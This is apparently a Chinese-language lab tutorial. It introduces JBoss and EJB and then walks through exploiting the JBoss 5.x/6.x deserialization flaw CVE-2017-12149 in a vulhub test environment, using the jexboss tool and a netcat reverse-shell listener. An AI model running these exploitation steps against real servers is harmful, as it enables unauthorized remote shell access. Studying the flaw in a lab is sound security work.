Jboss介绍
JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
EJB (Enterprise Java Beans) 是基于分布式事务处理的企业级应用程序的组件。Sun公司发布的文档中对EJB的定义是:EJB是用于开发和部署多层结构的、分布式的、面向对象的Java应用系统的跨平台的构件体系结构。 [2]在开发分布式系统时, 采用EJB可以使得开发商业应用系统变得容易, 应用系统可以在一个支持EJB的环境中开发, 开发完之后部署在其它的EJB环境中, 随着需求的改变, 应用系统可以不加修改地迁移到其它功能更强、更复杂的服务器上。EJB在系统实现业务逻辑层里面负责表示程序的逻辑和提供访问数据库的接口。
优点
- JBoss是免费的,开放源代码J2EE的实现,通过LGPL许可证进行发布。
- JBoss需要的内存和硬盘空间比较小。
- 安装非常简单。先解压缩JBoss打包文件再配置一些环境变量就可以了。
- JBoss能够”热部署”,部署BEAN只是简单拷贝BEAN的JAR文件到部署路径下就可以了。如果没有加载就加载它;如果已经加载了就自动更新。
- JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能。
- 用户可以直接实施J2EE-EAR,而不是以前分别实施EJB-JAR和Web-WAR,非常方便。
- Jboss支持集群
漏洞利用
工具
从github上下载jboss利用工具jexboss;python运行jexboss.py后接参数:-u后加链接;-host后接ip
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
漏洞原理
这个漏洞利用了 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,如果包含恶意数据则会导致该漏洞
影响版本
- JBoss 5.x
- JBoss 6.x
环境搭建
使用vulhub的靶场环境
1 | docker-compose up -d |
搭建完成后访问:Ip:8080出现下面界面说明搭建成功
POC:
使用工具进行proof
1 | python jexboss.py -u 192.168.19.208:8080 |
EXP:
使用工具进行exploit
1.首先在终端1创建一个反弹shell监听
1 | nc -vv -lp 7777 |
2.终端2 jexboss设置反弹shell的Ip和端口
3.返回终端1发现成功获取反弹shell